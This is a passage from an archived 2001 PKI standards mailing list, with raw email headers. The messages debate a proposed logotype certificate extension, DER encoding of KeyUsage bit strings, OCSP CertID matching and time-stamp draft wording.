> > >independent CA's, within which the issuer claims to issue this
> > >certificate.
> > >
> > >
> 


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA16221 for <[e-mail]>; Mon, 19 Mar 2001 15:10:15 -0800 (PST)
Received: from [128.33.238.92] (TC092.BBN.COM [128.33.238.92]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id SAA04001; Mon, 19 Mar 2001 18:07:14 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail] (Unverified)
Message-Id: <p05010401b6dbe5d9d90c@[128.33.238.70]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Mon, 19 Mar 2001 11:46:46 -0500
To: Stefan Santesson <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: Logotypes in certificates
Cc: <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Stefan,

I have mixed feelings about this proposal. We have, in the 
NameConstraints extension, a powerful mechanism for making cross 
certification a safe thing to do. If one were to include a logotype 
extension in a cert that was issued by a CA who had been cross 
certified using name constraints, it holds the potential for 
seriously undermining the controls imposed by NameConstraints.

There is an issue here that merits discussion: the logotype is 
presumably useful only when people are being asked to accept/reject 
certs, in addition to or in lieu of the many software-based controls 
that v3 certs offer. If the use is in lieu of use of more extensive 
software-based controls, there may not be a conflict, since the 
context is probably that of a TTP CA where NameConstraints and 
similar controls are of minimal use. However, if the syntactic 
controls are also in use, a logotype extension may be of limited 
value and might easily degrade security.

So, I would be opposed to PKIX approving this sort of extension (even 
as a separate RFC from 2459bis) without imposing significant 
constraints on the contexts in which it is to be used, including 
limitations on its use in conjunction with other extensions, e.g., 
NameConstraints. What worries me even more, is that we might have to 
extend/modify the validation procedure to enforce such 
inter-extension constraints, which would then affect 2459bis!

Steve


Received: from thunder.dstc.qut.edu.au (thunder.dstc.qut.edu.au [131.181.71.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA12602 for <[e-mail]>; Mon, 19 Mar 2001 14:16:10 -0800 (PST)
Received: from dstc.qut.edu.au (garnet.dstc.qut.edu.au [131.181.71.36]) by thunder.dstc.qut.edu.au (8.10.1/8.10.1) with ESMTP id f2JMG4m18900; Tue, 20 Mar 2001 08:16:04 +1000 (EST)
Message-Id: <[e-mail]>
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
To: "parag salvi" <[e-mail]>
cc: [e-mail]
Subject: Re: CA Tool 
In-Reply-To: Message from "parag salvi" <[e-mail]>  of "Fri, 16 Mar 2001 16:02:43 PST." <[e-mail]> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 20 Mar 2001 08:16:04 +1000
From: Dean Povey <[e-mail]>

>
>Hi All,
>
>Is there any CA tool available where I can specify what extension I want in 
>the CA and with what values ?
>

uPKI (http://security.dstc.com/products/upki/) comes with a tool that 
allows you to generate certificates and specify arbitrary extensions. 
OpenSSL (http://www.openssl.org/) is another option.

Dean.



Received: from certplus.com (facteur.certplus.com [195.101.88.81]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA10397 for <[e-mail]>; Mon, 19 Mar 2001 13:44:23 -0800 (PST)
Received: from certplus.com ([192.168.212.178]) by certplus.com (8.11.2/8.11.2) with ESMTP id f2JLgIf16022 for <[e-mail]>; Mon, 19 Mar 2001 22:42:18 +0100
Message-ID: <[e-mail]>
Date: Mon, 19 Mar 2001 22:44:00 +0100
From: Jean-Marc Desperrier <[e-mail]>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: ESSCertID in TSP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

The TSP draft has several reference to an "ESSCertID attribute", saying
it's defined in ESS (RFC2634).

But as far as I see RFC2634 does not define an ESSCertID attribute.

It defines a SigningCertificate attribute, that can include one or
several ESSCertID structures.

Only the SigningCertificate has an OID assigned to it in RFC2634, not
the ESSCertID alone.

Therefore to be more explicit, I think the wording should modified to :
"a ESSCertID identifier inside a SigningCertificate attribute".

Also the recent "Time-stamp issue" thread a lead me to te conclusion
that some hints should be included in the draft about the correct way to
generate a hash value that is intended to be time-stamped.

Without a proper warning that a timestamp states that some data existed
before a given time, but does _not_ date the data as in "this is a
transaction that was generated at this date", the temptation for user ot
the TSP service to directly use a time-stamp to guaranty this, will
exist.

With such a use of time-stamp, if the base over wich the hash is
calculated does not include any reference to the local time, the
implementor has a hugh risk of time-stamping twice the same data, and
yet expect after the inclusion of the time-stamp to hold some guaranty
that the two items are separate entities.
Time-stamped signed data will have exactly the same behaviour, because
the signature algorithm is deterministic.
The same data will always generate the same signature (at least in RSA
with standard padding algorithm)

Therefore the standard should warn that the data to be time-stamped
should be "new", that is it must include enough data to guarantee it to
be unique, and that the user will not generate twice the same exact
request.
Except of course when this is deliberate.

One of the easiest way to guaranty that being to include local time in
the data before hashing it.



Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA06841 for <[e-mail]>; Mon, 19 Mar 2001 13:01:00 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id <HHVBTXAA>; Mon, 19 Mar 2001 16:00:29 -0500
Message-ID: <[e-mail]>
From: Sharon Boeyen <[e-mail]>
To: "'Ambarish Malpani'" <[e-mail]>, "'Peter Gutmann'" <[e-mail]>, [e-mail]
Subject: 3rd message
Date: Mon, 19 Mar 2001 15:57:03 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0B0B7.2646ECE0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0B0B7.2646ECE0
Content-Type: text/plain;
	charset="iso-8859-1"



> -----Original Message-----
> From: Ambarish Malpani [mailto:[e-mail]]
> Sent: Tuesday, March 06, 2001 5:38 PM
> To: 'Peter Gutmann'; [e-mail]
> Subject: RE: DER encoding of KeyUsage BIT STRING
> 
> 
> 
> SSLeay/OpenSSL does that. Seems to work pretty well with most
> things.
> 
> Regards,
> Ambarish
> 
> ---------------------------------------------------------------------
> Ambarish Malpani
> Architect                                                650.567.5457
> ValiCert, Inc.                                  [e-mail]
> 339 N. Bernardo Ave.                          http://www.valicert.com
> Mountain View, CA 94043
> 
> 
> > -----Original Message-----
> > From: Peter Gutmann [mailto:[e-mail]]
> > Sent: Tuesday, March 06, 2001 11:52 AM
> > To: [e-mail]
> > Subject: Re: DER encoding of KeyUsage BIT STRING
> > 
> > 
> > 
> > 
> > John Thielens <[e-mail]> writes:
> > 
> > >Ordinarily, I wouldn't even notice.  But in this case, the 
> > certificate goes
> > >through a toolkit that parses the certificate into an 
> > internal canonical form
> > >and then regenerates its own DER encoded certificate, 
> > thereby changing the
> > >second encoding into the first.
> > 
> > Is there really a toolkit out there which does that?  
> > Wouldn't that break about
> > 90% of the certificates in existence?
> > 
> > (I'm not just being facetious with that question, I can't 
> > imagine how anyone
> >  could field a toolkit which recodes certs into correct DER 
> > without finding
> >  that almost everything they try fails to work after the 
> > recoding.  Which
> >  toolkit is this?  I should probably put a warning about this 
> > in the style
> >  guide).
> > 
> > >1) the "unusual" CA is at fault for generating an improper 
> > DER encoding with
> > >trailing 0's explicit in a BIT STRING.
> > 
> > Yes, look up the rules for named bit strings in X.680/690 (I 
> > don't have a copy
> > handy at the moment so I can't quote chapter and verse).  
> > OTOH the CA isn't
> > that unusual, a lot of CAs and implementations do this (thus 
> > my surprise that
> > the toolkit managed to get past any field testing with that 
> > behaviour).
> > 
> > Peter.
> > 
> 

------_=_NextPart_001_01C0B0B7.2646ECE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>3rd message</TITLE>
</HEAD>
<BODY>
<BR>
<BR>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Ambarish Malpani [<A =
HREF=3D"mailto:[e-mail]">mailto:[e-mail]</A>]<=
/FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Tuesday, March 06, 2001 5:38 PM</FONT>
<BR><FONT SIZE=3D2>&gt; To: 'Peter Gutmann'; [e-mail]</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: RE: DER encoding of KeyUsage BIT =
STRING</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; SSLeay/OpenSSL does that. Seems to work pretty =
well with most</FONT>
<BR><FONT SIZE=3D2>&gt; things.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Regards,</FONT>
<BR><FONT SIZE=3D2>&gt; Ambarish</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; =
---------------------------------------------------------------------</F=
ONT>
<BR><FONT SIZE=3D2>&gt; Ambarish Malpani</FONT>
<BR><FONT SIZE=3D2>&gt; =
Architect&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp; 650.567.5457</FONT>
<BR><FONT SIZE=3D2>&gt; ValiCert, =
Inc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
[e-mail]</FONT>
<BR><FONT SIZE=3D2>&gt; 339 N. Bernardo =
Ave.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp; <A HREF=3D"http://www.valicert.com" =
TARGET=3D"_blank">http://www.valicert.com</A></FONT>
<BR><FONT SIZE=3D2>&gt; Mountain View, CA 94043</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; From: Peter Gutmann [<A =
HREF=3D"mailto:[e-mail]">mailto:[e-mail].=
nz</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Sent: Tuesday, March 06, 2001 11:52 =
AM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; To: [e-mail]</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Subject: Re: DER encoding of KeyUsage BIT =
STRING</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; John Thielens &lt;[e-mail]&gt; =
writes:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;Ordinarily, I wouldn't even =
notice.&nbsp; But in this case, the </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; certificate goes</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;through a toolkit that parses the =
certificate into an </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; internal canonical form</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;and then regenerates its own DER =
encoded certificate, </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; thereby changing the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;second encoding into the first.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Is there really a toolkit out there which =
does that?&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Wouldn't that break about</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; 90% of the certificates in =
existence?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; (I'm not just being facetious with that =
question, I can't </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; imagine how anyone</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp; could field a toolkit which recodes =
certs into correct DER </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; without finding</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp; that almost everything they try =
fails to work after the </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; recoding.&nbsp; Which</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp; toolkit is this?&nbsp; I should =
probably put a warning about this </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; in the style</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp; guide).</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;1) the &quot;unusual&quot; CA is at =
fault for generating an improper </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; DER encoding with</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;trailing 0's explicit in a BIT =
STRING.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Yes, look up the rules for named bit =
strings in X.680/690 (I </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; don't have a copy</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; handy at the moment so I can't quote =
chapter and verse).&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; OTOH the CA isn't</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; that unusual, a lot of CAs and =
implementations do this (thus </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; my surprise that</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; the toolkit managed to get past any field =
testing with that </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; behaviour).</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Peter.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0B0B7.2646ECE0--


Received: from smtp02.symbian.com ([194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA24452 for <[e-mail]>; Mon, 19 Mar 2001 09:43:46 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]>; Mon, 19 Mar 2001 17:42:24 +0000
Subject: Re: Matching CertIDs between OCSP requests and responses
To: Jeff Jacoby <[e-mail]>
Cc: [e-mail]
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Mon, 19 Mar 2001 17:40:52 +0000
X-Priority: 3 (Normal)
X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 19/03/2001 05:42:54 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

Jeff,

Under BER there are several ways to encode a given value of certain data
types, but DER is a subset of this in which every detail of the encoding is
unambiguously specified (if you're strict about your DER, of course).  The
OCSP spec specifies DER, so in a bug-free world every byte should match.

Regards,

Jonathan
------------
Dr Jonathan Tuliani
www.symbian.com



                                                                                                                      
                    Jeff Jacoby                                                                                       
                    <jjacoby@rsasec        To:     [e-mail]                                                  
                    urity.com>             cc:                                                                        
                                           Subject:     Re: Matching CertIDs between OCSP requests and responses      
                    19/03/01 17:28                                                                                    
                                                                                                                      
                                                                                                                      




Peter,

[e-mail] wrote:

[snip]

> Unless you check the returned ID data there's no way you can detect
> this.  What
> I'm doing is a binary compare of request and response ID data, if they
> differ I
> don't trust the response.

Pardon my naivte, but couldn't the responder apply a different BER/DER
encoding to CertID in its response, yet keeping the actual encoded
values
within a CertID identical?

Jeff





**********************************************************************
Symbian Ltd is a company registered in England and Wales with registered number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
**********************************************************************


Received: from tholian.securitydynamics.com (mail.rsasecurity.com [204.167.112.129]) by above.proper.com (8.9.3/8.9.3) with SMTP id JAA23849 for <[e-mail]>; Mon, 19 Mar 2001 09:34:34 -0800 (PST)
Received: from sdtihq24.securid.com by tholian.securitydynamics.com via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 19 Mar 2001 17:32:27 UT
Received: from tuna.rsa.com (tuna.rsa.com [10.80.211.153]) by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id MAA20077 for <[e-mail]>; Mon, 19 Mar 2001 12:34:34 -0500 (EST)
Received: from rsasecurity.com ([10.81.217.242]) by tuna.rsa.com (8.8.8+Sun/8.8.8) with ESMTP id JAA24642 for <[e-mail]>; Mon, 19 Mar 2001 09:37:14 -0800 (PST)
Message-ID: <[e-mail]>
Date: Mon, 19 Mar 2001 09:28:38 -0800
From: Jeff Jacoby <[e-mail]>
Organization: RSA Security, Inc.
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Matching CertIDs between OCSP requests and responses
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Peter, 

[e-mail] wrote:

[snip]

> Unless you check the returned ID data there's no way you can detect
> this.  What
> I'm doing is a binary compare of request and response ID data, if they
> differ I
> don't trust the response.

Pardon my naivte, but couldn't the responder apply a different BER/DER
encoding to CertID in its response, yet keeping the actual encoded
values 
within a CertID identical?

Jeff


Received: from mailcity.com (fes-qout.whowhere.com [209.185.123.96]) by above.proper.com (8.9.3/8.9.3) with SMTP id WAA23723 for <[e-mail]>; Sun, 18 Mar 2001 22:50:04 -0800 (PST)
Received: from Unknown/Local ([?.?.?.?]) by mailcity.com; Sun Mar 18 22:49:23 2001
To: [e-mail]
Date: Sun, 18 Mar 2001 22:49:23 -0800
From: "chandrasekaran natarajan" <[e-mail]>
Message-ID: <[e-mail]>
Mime-Version: 1.0
X-Sent-Mail: off
Reply-To: [e-mail]
X-Mailer: MailCity Service
Subject: CAs Publishing delta-CRLs
X-Sender-Ip: 202.144.45.2
Organization: Lycos Mail  (http://mail.lycos.com:80)
Content-Type: text/plain; charset=us-ascii
Content-Language: en
Content-Transfer-Encoding: 7bit

hello,
 
Can any one let me know some CAs which also
publish delta-CRLs in their LDAP directories or over
http/https/ftp.  
 
If  yes,please also let me know the web links
for the same.
 
Thanks and Regards
 
Chandar
 


Get 250 color business cards for FREE! at Lycos Mail
http://mail.lycos.com/freemail/vistaprint_index.html


Received: from popmail2.inbox.se ([e-mail] [212.28.208.210]) by above.proper.com (8.9.3/8.9.3) with ESMTP id VAA22268 for <[e-mail]>; Sun, 18 Mar 2001 21:44:52 -0800 (PST)
Received: from santesson.accurata.se ([216.70.218.90]) by popmail2.inbox.se (8.10.1/8.10.1) with ESMTP id f2J5gkA07474; Mon, 19 Mar 2001 06:42:46 +0100
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Mon, 19 Mar 2001 06:45:23 +0100
To: Eric Murray <[e-mail]>, Trevor Freeman <[e-mail]>
From: Stefan Santesson <[e-mail]>
Subject: Re: Logotypes in certificates
Cc: [e-mail]
In-Reply-To: <[e-mail]>
References: <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi Eric,

Thank you for interesting thoughts. Yes this is a challenging subject.

Let me first ask you to consider the case if we didn't use handwritten 
signatures today. Imagine that I now suggested that we start using a method 
to close contracts and deals where involved parties freely chooses any 
personal written symbol and let that represent them and their acceptance of 
a contract.

Can you imagine what philosophic debates that would cause? How easy it 
would be to forge and how hard it will be to prove who really signed a 
document!!! Pretty much the kind of challenges you just raised with respect 
to logotypes.

Identification and naming are not exact science. It is just like signatures 
- It is a phenomena which has evolved over long periods of times as it has 
proved its value despite its imperfection.

What we try to do with certificates is not to make this world more perfect, 
but to REFLECT that world and DOCUMENT the processes that makes up the 
fundament of trust in our lives and societies.

You can fool any PKI structure if you don't require the CA to 1) Be trusted 
and 2) prove that trustworthiness by being signed by a trusted ROOT CA.

Given that, we don't ask any CA to do more than to INVESTIGATE and DOCUMENT 
what it already out there, I don't see the problem. Personally I see no 
problem for a CA to validate a logotype of an organization since what a CA 
does is merely to identify the organization and then document what that 
legal entity CLAIMS to be its logotype.

If that claim is wrong, then there is legal ways to deal with that.

International conflicts of logos are there with or without certificates.

Logos are NOT replacements of DN:s and names of any kind, they are just 
complementing concepts of symbols developed over long period of time, 
proven valuable to the society as a carrier of trust, despite its imperfection.

/Stefan


At 16:07 2001-03-18 -0800, Eric Murray wrote:
>On Sun, Mar 18, 2001 at 10:42:12AM -0800, Trevor Freeman wrote:
> > Hi Stefan,
> > The fundamental gap here is that most users don't know what a
> > certificate is, and are happy that they just get a simple icon if
> > everything is ok or not rather than some UI detailing the content of the
> > credential. Most users never look as the certificate UI.
>
>
>Agreed.
>
>
>I don't think that the logo extension would add that much data to the
>cert.  There's already a whole load of junk people can put in certs,
>what's another 1-200 bytes?
>
>
>
>I am however concerned with how certs with the logo extension
>would be issued.
>
>Evil Trent is setting up a site to spoof the Bank of Alice web site.
>Since Trent knows that the BofA customers all use the logo extension
>to verify that they're really connected to Alice, he spoofs
>the logo.  Trent creates a logo which is very similar to the BofA
>logo, but with one pixel in the corner different.
>
>When Trent goes to Verisign, do they check the logo before they sign
>the cert?  How much do they check it- that it's hash is different from
>all the other logos in their database?  If that's the case, Trent's
>visually-identical logo is "different" and Trent gets his cert.
>
>Trent puts up his spoof site, redirects traffic to it, and cleans out a
>number of accounts.  Eventually Alice will find out that Trent is using a
>logo that's too similar to Alice's.  There's already laws for this sort
>of thing, so Alice can eventually prevail in the courts and get Trent
>to stop using the confusing logo.  Before that happens, Trent moves to
>some small country with weak extradition laws.
>
>With DNs this is simple(er)- Verisign just won't sign a cert request
>from Trent that says it's from Alice.  Of course "says it's from Alice"
>is interpreted different by different CAs and to be 100% correct
>you have to know each CA's naming convention.  But generally it's not
>possible to get a Subject DN that's close enough to an existing issued
>cert to spoof it.
>
>How would this be handled with logos?  There's a body of law for
>similarity of logos and trademarks, would that be followed?  Or would
>someone at Verisign (or pick any CA) just look at the logos and reject any
>that're "too similar".  There's probably also an international law problem
>here- what if I get a cert issued with my logo, which is trademarked
>in the US, and there's another very similar logo trademarked in the UK
>for an entirely unrelated company?  Normally I and the other company
>would not be competing in each other's territories, but now with the
>net, we are, and our logos clash.  Who figures this out?  This problem
>sounds very similar to the domain name situation, which as we all know,
>is a bit of a mess.
>
>I think that these issues (and probably more in the same vein)
>should be thought through before going ahead with this.



Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id VAA21715 for <[e-mail]>; Sun, 18 Mar 2001 21:28:28 -0800 (PST)
Received: from HEATHERDALE (ppp213-52.coastside.net [207.213.213.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f2J5SK719064; Sun, 18 Mar 2001 21:28:21 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: "Eric Murray" <[e-mail]>, "Trevor Freeman" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: Logotypes in certificates
Date: Sun, 18 Mar 2001 21:27:03 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

In my opinion, this issue is better addressed in a more industry-focused
forum.

Mike



Received: from popmail2.inbox.se ([e-mail] [212.28.208.210]) by above.proper.com (8.9.3/8.9.3) with ESMTP id VAA21151 for <[e-mail]>; Sun, 18 Mar 2001 21:06:35 -0800 (PST)
Received: from santesson.accurata.se ([216.70.218.90]) by popmail2.inbox.se (8.10.1/8.10.1) with ESMTP id f2J54RA07371; Mon, 19 Mar 2001 06:04:28 +0100
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Mon, 19 Mar 2001 06:06:49 +0100
To: "Trevor Freeman" <[e-mail]>, "David Cross" <[e-mail]>, <[e-mail]>
From: Stefan Santesson <[e-mail]>
Subject: RE: Logotypes in certificates
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi Trevor,

Thank you for this challenging question. This is a hard one and I will try 
to answer.

I think we are into the hen and egg problem.
I see at least 3 big reasons why most users don't know what a certificate is.
- PKI hasn't yet reached into the bedroom of normal users.
- Applications doesn't encourage users to se the certificate content and;
- If they do, there isn't so much interesting to see anyway because the 
display interface is normally not very user friendly.

I simply ask you to look beyond the horizon and try to grasp a glimpse of 
the future.

In a mature PKI, when a human user receives a signed message, the 
applications will probably provide the user with a simple button to view 
signature details.

What is then interesting here?
- Signature algorithm ?
- Key length ?
- Or maybe just WHO SIGNED THIS and
- DO I TRUST THIS SIGNATURE?!

If the user has just a minor curiosity about who signed this, and who 
stands behind the identification of this person, what better then to 
display the signers certificate.

But I challenge you to display this in a interesting and meaningful way to 
the user if you cut of the possibility to tie logotypes to the process.

If you denies this option you are STUCK with a pure text interface, and 
that won't do. Not if this is to grow out of the technical community.

At least this is what I see and the response I get from many people I talk 
to, among them initiated peoples related to European electronic signature 
legislation and standardization.

/Stefan


At 10:42 2001-03-18 -0800, Trevor Freeman wrote:
>Hi Stefan,
>The fundamental gap here is that most users don't know what a
>certificate is, and are happy that they just get a simple icon if
>everything is ok or not rather than some UI detailing the content of the
>credential. Most users never look as the certificate UI.
>Trevor
>
>-----Original Message-----
>From: Stefan Santesson [mailto:[e-mail]]
>Sent: Saturday, March 17, 2001 4:14 PM
>To: David Cross; [e-mail]
>Subject: RE: Logotypes in certificates
>
>
>David,
>
>Comment in line;
>
>At 18:46 2001-03-16 -0800, David Cross wrote:
> >Stefan:
> >
> >Some comments -
> >
> >First:  I do not think that this should be considered for son of
> >RFC2459
> >- we do not want to hold this up to consider this proposal.
>
>That's OK with me.
>
> >
> >Second:  I do not see how applications will make use of this
> >information.  How do you see it being used?
>
>Well first I would like to state that I now of several applications that
>
>would use this information if it was available. This is typically any
>application which includes a function to display a certificates to a
>human
>user. These applications will seek to have a display format which makes
>sense to the user. These applications can, if logotype data is present,
>choose to download these logotypes and display them to the user when a
>certificate is displayed.
>
>Applications don't caring about logos won't be effected since they just
>ignore this information without problem. The logo is only a display
>function and has no part in any DN or alternative name.
>
>We will surely implement this in certificates if this gets to be
>supported
>by any standard.
>
>/Stefan
>
> >
> >Third:  People are complaining about size of certs now, this will
> >expand that issue
>
>Everything is a tradeoff. In this case we can meet an important business
>
>need with just a few bytes. I think this is one of those cases that
>definitely is worth it.
>
>/Stefan
>
> >
> >
> >David B. Cross
> >
> >
> >         -----Original Message-----
> >         From: Stefan Santesson [mailto:[e-mail]]
> >         Sent: Thursday, March 15, 2001 3:22 PM
> >         To: [e-mail]
> >         Subject: Logotypes in certificates
> >
> >
> >         In last PKIX meeting in San Diego I presented some thoughts on
>
> >creating a new extension for inclusion of logotype information in
> >certificates.
> >
> >         Last in this mail I include a primary suggested outline for
> >such extension.
> >
> >         But first a short summary of the rationale:
> >
> >         At a first glance it may seem irrelevant to include logotype
> >information in certificates and a natural first reaction is "OH NO...
> >NOT ANOTHER THING TO INCLUDE!! DON'T WE HAVE ENOUGH?!!!"
> >
> >         The fact is though that at the ETSI meeting this week (In the
> >group that handles European standards related to electronic
> >signatures). IT WAS GENERALLY RECOGNIZED THAT INCLUSION OF LOGOTYPE
> >DATA WOULD BE VERY USEFUL.
> >
> >         Why is that so?
> >
> >         The answer is that logotypes are carriers of trust and are
> >widely recognized tools for trust recognition. Have you ever thought
> >why EVERY physical instrument of trust, from loyalty cards, credit
